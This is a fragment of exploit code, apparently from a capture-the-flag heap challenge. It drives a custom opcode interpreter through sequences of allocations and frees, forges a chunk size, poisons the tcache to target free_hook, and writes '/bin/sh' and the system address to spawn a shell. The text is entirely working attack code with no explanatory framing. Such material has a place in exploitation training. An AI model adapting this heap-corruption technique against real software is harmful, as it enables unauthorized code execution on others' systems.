ins = "" ins += p8(6) + p8(0xf8) #malloc(0xf8) ins += p8(7) #free() ins += p8(6) + p8(0xe8) #malloc(0xe8) ins += p8(7) #free() ins += p8(6) + p8(0xd8) #malloc(0xd8) ins += p8(7) #free() ins += p8(6) + p8(0xb8) #malloc(0xb8) ins += p8(7) #free() ins += p8(6) + p8(0xa8) #malloc(0xa8) ins += p8(7) #free()
ins += p8(6) + p8(0x18) #malloc(0x18) ins += p8(7) #free()
ins += p8(6) + p8(0xf8) #malloc(0xf8) ins += p8(1) + p8(0x40) ins += p8(0) + p8(0x30) + p32(0x441)
ins += p8(7) #free()
ins += p8(6) + p8(0x28) #malloc(0x28) ins += p8(5) + p8(2) #write() ins += p8(7) #free() ins += p8(8) #end
ins = "" ins += p8(6) + p8(0x38) #malloc(0x38) ins += p8(7) #free() ins += p8(6) + p8(0x48) #malloc(0x48) for i in range(8): ins += p8(1) + p8(0x40) ins += p8(0) + p8(0x40) + p64(free_hook)
ins += p8(7) #free() ins += p8(6) + p8(0x38) #malloc(0x38)
ins += p8(1) + p8(0x40) ins += p8(0) + p8(0x40) + p64(0x91) ins += p8(7) #free()
ins += p8(6) + p8(0x38) #malloc(0x38)
ins += p8(0) + p8(0x40) + "/bin/sh\x00" ins += p8(0) + p8(0x40) + p64(system_addr)